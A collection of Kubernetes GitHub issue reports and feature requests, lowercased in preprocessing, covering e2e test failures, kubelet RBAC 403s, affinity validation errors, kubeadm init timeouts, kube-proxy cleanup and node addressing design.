is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r / umbrella issue:  56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8125 failed with:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:137\r nov 19 19:44:23.139: error waiting for all pods to be running and ready: 3 / 324 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r pod                       node                              phase   grace conditions\r fluentd-gcp-v2.0.10-th9vh e2e-scalability-minion-group-64k2 running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:27:49 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:36:41 +0000 utc reason:containersnotready message:containers with unready status:  prometheus-to-sd-exporter } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:28:01 +0000 utc reason: message:} \r fluentd-gcp-v2.0.10-vb6vm e2e-scalability-minion-group-0r04 running        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:27:50 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:35:18 +0000 utc reason:containersnotready message:containers with unready status:  prometheus-to-sd-exporter } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:28:05 +0000 utc reason: message:} \r fluentd-gcp-v2.0.10-wz9tt e2e-scalability-minion-group-spj6 pending        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:27:59 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:27:59 +0000 utc reason:containersnotready message:containers with unready status:  fluentd-gcp } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-19 19:28:13 +0000 utc reason: message:} \r \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:190\r    \r

! image  https://user-images.githubusercontent.com/18570747/43510129-3a23959a-95a7-11e8-8a03-2dde9828fe23.png \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   feature request  :\r \r integrating athens for go deps will allow for more reliability and stability. will reduce go dependency related issues to a large extent\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r kublet is spamming apiserver with csidrivers list calls. all of the csidrivers calls fail due to 403 - access denied.\r \r    \r i0909 22:01:30.158516       1 wrap.go:42  get /apis/csi.storage.k8s.io/v1alpha1/csidrivers?limit=500&resourceversion=0:  5.592254283s  403  kubelet/v1.13.0  linux/amd64  kubernetes/5c8ef7e 35.237.77.159:38794 \r     \r \r   what you expected to happen  :\r there should be no csi calls.\r or\r kublet  and also control manager  should have access to csidrivers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r running test with kuberentes default features.\r the most important part is to use csi storage while csidriverregistry is disabled.\r \r   anything else we need to know?  :\r if i understand this problem correctly, this bug was introduced in  67955\r \r lister for csidriver has been added.\r https://github.com/kubernetes/kubernetes/blob/36877dafe40495cb43994464e2427355f99042c7/pkg/volume/csi/csi_plugin.go l182\r \r while permissions required by it to work properly are added only for csidriverregistry feature.\r https://github.com/kubernetes/kubernetes/blob/36877dafe40495cb43994464e2427355f99042c7/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/policy.go l162\r https://github.com/kubernetes/kubernetes/blob/36877dafe40495cb43994464e2427355f99042c7/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/controller_policy.go l76\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r cc @jsafrane \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r a batch job had the following affinity configuration snippet:\r \r    \r       affinity:\r           prevent job from being scheduled onto nodes used by another job\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r             - topologykey: kubernetes.io/hostname\r               labelselector:\r                 matchlabels:\r                   workload: specific-task\r               namespaces:  \  \      this rule covers all namespaces\r    \r output:\r \r spec.template.spec.affinity.podantiaffinity.requiredduringschedulingignoredduringexecution 0 .namespace: invalid value: \  \ : a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' .\r \r   what you expected to happen  :\r \r the anti-affinity to take effect across all namespaces.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r pass  \  \   as namespaces list to podaffinityterm\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-10t11:44:36z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: gke & minikube\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r related issues:  46989  43320\r relates pull request:  43525\r

forked from  8087.  we intended to get rid of legacyhostip when we created the nodeaddresses field, but i don't think we have an adequate replacement yet, as we found when we tried to switch resourcelocation to use an internal ip in  9155.  what we need to know is at least: 1. at which address/name the master/bastion can reach the node, for /proxy, /portforward, /redirect, kubectl exec, kubectl logs, etc. 2. which address/name is in the node's cert. ideally this is the same as the above. 3. at which address/name external load balancers can reach the node.   internalip and externalip don't tell us either of these. only openstack and aws even set internalip. openstack and aws also set externalip, as does gce.   legacyhostip is set in a variety of ways in different cloudprovider implementations. aws sets legacyhostip to the internalip. in the case of mesos, ovirt, vagrant, and rackspace, they only set legacyhostip.  in the case of no cloudprovider, the --hostname-override flag in kubelet sets legacyhostip.  in most of these cases, we don't know whether the legacyhostip is internal or external.  we could just rename legacyhostip to ipformaster, proxyip, bastionip, or something similar. internalip and externalip would be optionally populated by the cloudprovider. which address should be used by the external load balancer could be cloudprovider-specific, as it is now.  nodehostname is defined, but neither set nor used, afaict.  i think this change can be made in a backward-compatible manner, so it doesn't absolutely have to be done for 1.0.  cc @krousey @cjcullen @dchen1107 @roberthbailey @ncdc

@lavalamp i think in the current import-boss, we can't use back-slash in rules to do some kind regex check,  https://github.com/kubernetes/kubernetes/blob/master/cmd/libs/go2idl/import-boss/generators/import_restrict.go l214  https://github.com/kubernetes/kubernetes/blob/master/cmd/libs/go2idl/import-boss/generators/import_restrict.go l214 , i am not so sure whether we should support this, if so, that's should be easy enough to do.

root@master:~/nfs/nfs-pv  kubectl get pv name           capacity   accessmodes   status      claim             reason    age hostpathtest   50mi            rwo                     available                               4s nfstest            50mi            rwo                     available  the persistentvolume type of hostpathtest is \ hostpath\ ;the persistentvolume type of nfstest   is \ nfs\   now i create a pvc ,i want the pvc to bind hostpathtest,how to how to choose the persistentvolume types of the pv.

problem:   its not always clear how fast disk is reclaimed and different docker versions may or may not regress in terms of how fast / effectively / completely they reclaim temp container storage when filling containers up with data.  solution:  it would be great if we could out the node e2e tests to fill storage up at a density with restart=always, and see if node survivability was not effected for, say, a period of time  10,000 container life cycles, or something else, maybe configurable via --scale option .   @kubernetes/sig-testing @kubernetes/sig-node

is this a bug report or feature request?    choose one : bug report    kubernetes version    use  kubectl version  : 1.3.6    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : coreos stable -   kernel    e.g.  uname -a  : 4.6.3 -   install tools  :  not sure what's meant with this  -   others  :    what happened  :  i added an option to a service that creates a loadbalancer. the loadbalancer  an aws elb  had already been created and was working as expected, but this change did not trigger a change in the security group. i had to change something else  i flipped an annotation  to make it trigger a change in the security group connected to the elb.    what you expected to happen  :  i expected the addition of the loadbalancersourceranges to trigger a check in kubernetes of the security group applied to the elb and for it to change it with the ip ranges i added.    how to reproduce it    as minimally and precisely as possible : - create a service which creates an elb. - wait for it to deploy - edit the service with  kubectl edit service name  - under the service spec, add  for example : loadbalancersourceranges: - your.ip.public.address/32 - check the elb in the amazon console, specifically the security group attached to it - notice that the change was not applied. - edit the service again - change or add an annotation - check the elb again and notice that the security group has indeed been fixed now    anything else do we need to know  :  please let me know if you have any questions. we plan on upgrading to 1.3.8 later this week, though.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-federation/5445/  failed:  k8s.io  federated ingresses  feature:federation  federated ingresses ingress connectivity and dns should be able to connect to a federated ingress via its load balancer {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federated-ingress.go:138 failed to verify ingress \ federated-ingress\  in namespace \ e2e-tests-federated-ingress-erq2u\  in cluster: present=true expected error:     < errors.errorstring | 0xc420354780>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/federated-ingress.go:212       previous issues for this test:  32732  35392

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubectl, watch, get, exit\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.5.3\r \r   environment  :\r -   cloud provider or hardware configuration  : google cloud platform, gke\r -   os    e.g. from /etc/os-release : kubernetes: chromeos  gke image . client: macos.\r -   kernel    e.g.  uname -a  : 4.4.21\r -   install tools  :\r -   others  :\r \r   what happened  :  kubectl get pods -w  will eventually just exit with exit status 0 and no message. no network disruption that i know about. no error messages.\r \r   what you expected to happen  : i expected  kubectl  to watch for ever.\r \r   how to reproduce it    as minimally and precisely as possible : run  kubectl get pods -w  and wait long enough.  i'm running it again now with a timer to see if there's any concistency here. \r \r   anything else we need to know  : it's worth pointing out that it also exits if there's a network blip or i change wifi networks. i think  -w  should follow the user's intention and try to keep watching in the face of temporary, recoverable errors.\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/4291/ multiple broken tests:  failed:  k8s.io  multi-az clusters should spread the pods of a service across zones {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ubernetes_lite.go:54 pods were not evenly spread across zones.  1 in one zone and 3 in another zone expected     <int>: 1 to be ~     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ubernetes_lite.go:186     issues about this test specifically:  34122   failed:  k8s.io  networking should provide internet connection for containers  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:49 expected error:     < errors.errorstring | 0xc420f0ab70>: {         s: \ pod \\\ wget-test\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-15 20:23:10 -0700 pdt reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-15 20:23:41 -0700 pdt reason:containersnotready message:containers with unready status:  wget-test-container } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-15 20:23:10 -0700 pdt reason: message:}  message: reason: hostip:10.240.0.6 podip:10.180.6.48 starttime:2017-03-15 20:23:10 -0700 pdt initcontainerstatuses:   containerstatuses: {name:wget-test-container state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-15 20:23:41 -0700 pdt,containerid:docker://506c71443b2f9d18d1b08b8e0075f9061a59cd9d9a873404e1e9ca1f3309e735,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker://sha256:0cb40641836c461bc97c793971d84d758371ed682042457523e4ae701efe7ec9 containerid:docker://506c71443b2f9d18d1b08b8e0075f9061a59cd9d9a873404e1e9ca1f3309e735}  qosclass:besteffort}\ ,     }     pod \ wget-test\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-15 20:23:10 -0700 pdt reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-15 20:23:41 -0700 pdt reason:containersnotready message:containers with unready status:  wget-test-container } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-15 20:23:10 -0700 pdt reason: message:}  message: reason: hostip:10.240.0.6 podip:10.180.6.48 starttime:2017-03-15 20:23:10 -0700 pdt initcontainerstatuses:   containerstatuses: {name:wget-test-container state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-15 20:23:41 -0700 pdt,containerid:docker://506c71443b2f9d18d1b08b8e0075f9061a59cd9d9a873404e1e9ca1f3309e735,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker://sha256:0cb40641836c461bc97c793971d84d758371ed682042457523e4ae701efe7ec9 containerid:docker://506c71443b2f9d18d1b08b8e0075f9061a59cd9d9a873404e1e9ca1f3309e735}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:48     issues about this test specifically:  26171  28188   failed:  k8s.io  firewall rule should have correct firewall rules for e2e cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/firewall.go:151 mar 15 20:24:27.409: failed to get instance tags for bootstrap-e2e-gce-mz-minion-group-3tq9: googleapi: error 404: the resource 'projects/k8s-jkns-e2e-gce-ubelite/zones/us-central1-a/instances/bootstrap-e2e-gce-mz-minion-group-3tq9' was not found, notfound /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/firewall_util.go:85       failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025  previous issues for this suite:  36931  37025

i want choose a exists load balancer for service type=\ loadbalancer\   or config the load balancer name default is from service.uid \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i wanted to setup the vagrant kubernetes setup  docs  https://github.com/kubernetes/community/blob/master/contributors/devel/local-cluster/vagrant.md  to test my binaries.\r \r   what you expected to happen  :\r setup a minimal kubernetes cluster for testing with the  cluster/kube-up.sh  script. the needed certificats should be automatically generated by the setup:\r \r https://github.com/kubernetes/kubernetes/blob/master/cluster/vagrant/util.sh l293-l295\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  ./cluster/kube-up.sh  on macos\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  : vagrant 1.9.6, vbox 5.1\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :  darwin .... 16.6.0 darwin kernel version 16.6.0: fri apr 14 16:21:16 pdt 2017; root:xnu-3789.60.24~6/release_x86_64 x86_64 \r - install tools:\r - others:\r \r logs:\r \r    bash\r ./cluster/kube-up.sh \r ... starting cluster using provider: vagrant\r ... calling verify-prereqs\r ... calling verify-kube-binaries\r ... calling kube-up\r create cluster\r bringing machine 'master' up with 'virtualbox' provider...\r bringing machine 'node-1' up with 'virtualbox' provider...\r ==> master: machine already provisioned. run  vagrant provision  or use the  --provision \r ==> master: flag to force provisioning. provisioners marked to run always will still run.\r ==> node-1: machine already provisioned. run  vagrant provision  or use the  --provision \r ==> node-1: flag to force provisioning. provisioners marked to run always will still run.\r cat: /srv/kubernetes/kubecfg.crt: no such file or directory\r    \r

/ / /area platform/gke\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures\r \r this job has been failing since 2017-11-02.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-alpha.3   kubernetes/sig-release 27 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-slow\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/11941\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/11942\r - latest bad as of filing: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/12093\r - suspect changelog: https://github.com/kubernetes/kubernetes/compare/55e216f56...3a15fdbe7\r \r this seems like the same failures as  55189

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r the  pending reason for pods  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/core/generic_scheduler.go l72  is not user friendly. there has been  some improvements recently  https://github.com/kubernetes/kubernetes/pull/52515  to make it better, but we still print  something like the name of predicates  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/algorithm/predicates/error.go l33  in the pending message. we should change these errors to a more human readable message. for example,  podfitshostports  should be changed to something like  networkportconflict .\r \r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what you expected to happen  :\r \r  ec2 tags  https://docs.aws.amazon.com/awsec2/latest/userguide/using_tags.html  are useful for identifying types of compute resources for billing purposes, identifying ownership within your organization, segregating workloads, and more. node labels are used for similar purposes, so it feels natural to expose ec2 tags  or a subset of them, perhaps based on a certain key prefix  to kubernetes via node labels. \r \r would love a discussion of how this behavior should be exposed. \r \r   environment  :\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : any \r \r 

linux version:4.4\r ubuntu version:16.04\r docker version:18.06-ce\r kubeadm images list:\r k8s.gcr.io/kube-apiserver:v1.14.0\r k8s.gcr.io/kube-controller-manager:v1.14.0\r k8s.gcr.io/kube-scheduler:v1.14.0\r k8s.gcr.io/kube-proxy:v1.14.0\r k8s.gcr.io/pause:3.1\r k8s.gcr.io/etcd:3.3.10\r k8s.gcr.io/coredns:1.3.1\r \r \r my problem is kubeadm init aways failed,full log as follows\r root@ubzhaokai:/  swapoff -a\r root@ubzhaokai:/  kubeadm init\r i0404 08:48:37.269307   14041 version.go:96  could not fetch a kubernetes version from the internet: unable to get url \ https://dl.k8s.io/release/stable-1.txt\ : get https://dl.k8s.io/release/stable-1.txt: net/http: request canceled while waiting for connection  client.timeout exceeded while awaiting headers \r i0404 08:48:37.269570   14041 version.go:97  falling back to the local client version: v1.14.0\r  init  using kubernetes version: v1.14.0\r  preflight  running pre-flight checks\r  preflight  pulling images required for setting up a kubernetes cluster\r  preflight  this might take a minute or two, depending on the speed of your internet connection\r  preflight  you can also perform this action in beforehand using 'kubeadm config images pull'\r  kubelet-start  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  kubelet-start  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  kubelet-start  activating the kubelet service\r  certs  using certificatedir folder \ /etc/kubernetes/pki\ \r  certs  generating \ etcd/ca\  certificate and key\r  certs  generating \ etcd/healthcheck-client\  certificate and key\r  certs  generating \ apiserver-etcd-client\  certificate and key\r  certs  generating \ etcd/server\  certificate and key\r  certs  etcd/server serving cert is signed for dns names  ubzhaokai localhost  and ips  192.168.50.249 127.0.0.1 ::1 \r  certs  generating \ etcd/peer\  certificate and key\r  certs  etcd/peer serving cert is signed for dns names  ubzhaokai localhost  and ips  192.168.50.249 127.0.0.1 ::1 \r  certs  generating \ ca\  certificate and key\r  certs  generating \ apiserver\  certificate and key\r  certs  apiserver serving cert is signed for dns names  ubzhaokai kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 192.168.50.249 \r  certs  generating \ apiserver-kubelet-client\  certificate and key\r  certs  generating \ front-proxy-ca\  certificate and key\r  certs  generating \ front-proxy-client\  certificate and key\r  certs  generating \ sa\  key and public key\r  kubeconfig  using kubeconfig folder \ /etc/kubernetes\ \r  kubeconfig  writing \ admin.conf\  kubeconfig file\r  kubeconfig  writing \ kubelet.conf\  kubeconfig file\r  kubeconfig  writing \ controller-manager.conf\  kubeconfig file\r  kubeconfig  writing \ scheduler.conf\  kubeconfig file\r  control-plane  using manifest folder \ /etc/kubernetes/manifests\ \r  control-plane  creating static pod manifest for \ kube-apiserver\ \r  control-plane  creating static pod manifest for \ kube-controller-manager\ \r  control-plane  creating static pod manifest for \ kube-scheduler\ \r  etcd  creating static pod manifest for local etcd in \ /etc/kubernetes/manifests\ \r  wait-control-plane  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ . this can take up to 4m0s\r  kubelet-check  initial timeout of 40s passed.\r \r unfortunately, an error has occurred:\r \ttimed out waiting for the condition\r \r this error is likely caused by:\r \t- the kubelet is not running\r \t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \r if you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:\r \t- 'systemctl status kubelet'\r \t- 'journalctl -xeu kubelet'\r \r additionally, a control plane component may have crashed or exited when started by the container runtime.\r to troubleshoot, list all containers using your preferred container runtimes cli, e.g. docker.\r here is one example how you may list all kubernetes containers running in docker:\r \t- 'docker ps -a | grep kube | grep -v pause'\r \tonce you have found the failing container, you can inspect its logs with:\r \t- 'docker logs containerid'\r error execution phase wait-control-plane: couldn't initialize a kubernetes cluster\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i ran the following to clean up kube-proxy rules:\r \r    \r   docker run --privileged -v /lib/modules:/lib/modules --net=host k8s.gcr.io/kube-proxy-amd64:v1.14.1 kube-proxy --cleanup    \r unable to find image 'k8s.gcr.io/kube-proxy-amd64:v1.14.1' locally                                                                                           \r v1.14.1: pulling from kube-proxy-amd64                                                                                                                       \r digest: sha256:020d25ff45a33ec7958d7128308cb499d5b24cdaa228a2344514bcab9b7296c0                                                                              \r status: downloaded newer image for k8s.gcr.io/kube-proxy-amd64:v1.14.1                                                                                       \r w0417 14:39:15.363623       1 server.go:214  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a co\r nfig file asap.                                                                                                                                              \r i0417 14:39:15.375997       1 server.go:555  version: v1.14.1\r    \r it did not exit after finishing the cleanup.\r \r   what you expected to happen  :\r i expected kube-proxy to cleanup and exit.\r \r   how to reproduce it  as minimally and precisely as possible   :\r build cluster with kubeadm\r run the docker command above\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r vsphere on colo servers.\r \r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    redacted-hostname 4.15.0-47-generic  50-ubuntu smp wed mar 13 10:44:52 utc 2019 x86_64 x86_64 x86_64 gnu/linux   \r \r - install tools:\r kubeadm\r \r - others:\r

gcp, cluster started with ./cluster/kube-up.sh with no extra options:      $ kubectl get pods --all-namespaces  namespace     name                                           ready     status                restarts   age kube-system   etcd-server-kubernetes-master                  1/1       running               2          2m kube-system   fluentd-cloud-logging-kubernetes-master        1/1       running               1          1m kube-system   fluentd-cloud-logging-kubernetes-minion-9y8h   1/1       running               0          1m kube-system   fluentd-cloud-logging-kubernetes-minion-a5u3   1/1       running               0          53s kube-system   fluentd-cloud-logging-kubernetes-minion-ihlf   1/1       running               0          1m kube-system   fluentd-cloud-logging-kubernetes-minion-yxir   1/1       running               0          58s kube-system   kube-apiserver-kubernetes-master               1/1       running               1          2m kube-system   kube-controller-manager-kubernetes-master      1/1       running               1          2m kube-system   kube-dns-v8-vdsrr                              4/4       running               0          1m kube-system   kube-scheduler-kubernetes-master               1/1       running               1          2m kube-system   kube-ui-v1-8b1lb                               1/1       running               0          1m kube-system   monitoring-heapster-v7-1xljv                   1/1       running               1          1m kube-system   monitoring-heapster-v7-czp8j                   0/1       insufficientfreecpu   0          1m kube-system   monitoring-heapster-v7-iio5r                   0/1       insufficientfreecpu   0          1m kube-system   monitoring-heapster-v7-r1ddh                   0/1       insufficientfreecpu   0          1m kube-system   monitoring-influx-grafana-v1-s97to             2/2       running               0          1m

kubectl sh  will list pods/containers to choose from, and then spawn a shell  default  /bin/sh   into that container  a shortcut for  exec ing into a container for debugging .  @kubernetes/kubectl

hi all  the logs on the gci master 1.3 beta image are not being rolled.  just lost my master because  /var/log  was filled up :   are we using logrotate?  because it is not configured.  the cluster is a multi az cluster running on gce, using the default master.  cluster was created using  kube-up.sh .  master version info.      console clove@kubernetes-master /etc $ cat /proc/version linux version 4.4.4+  chrome-bot@build297-m2   gcc version 4.9.x 20150123  prerelease   4.9.2_cos_gg_a2bc87a_4.9.2-r128     1 smp fri jun 17 14:27:45 pdt 2016      k8s version info:      console client version: version.info{major:\ 1\ , minor:\ 3+\ , gitversion:\ v1.3.0-beta.1\ , gitcommit:\ 1c7855093eb999c8f3cedb19d3467cd7b691e35e\ , gittreestate:\ clean\ , builddate:\ 2016-06-17t00:58:51z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3+\ , gitversion:\ v1.3.0-beta.1\ , gitcommit:\ 1c7855093eb999c8f3cedb19d3467cd7b691e35e\ , gittreestate:\ clean\ , builddate:\ 2016-06-17t00:53:24z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      cc: @bgrant0607 @andyzheng0831 @kubernetes/goog-image

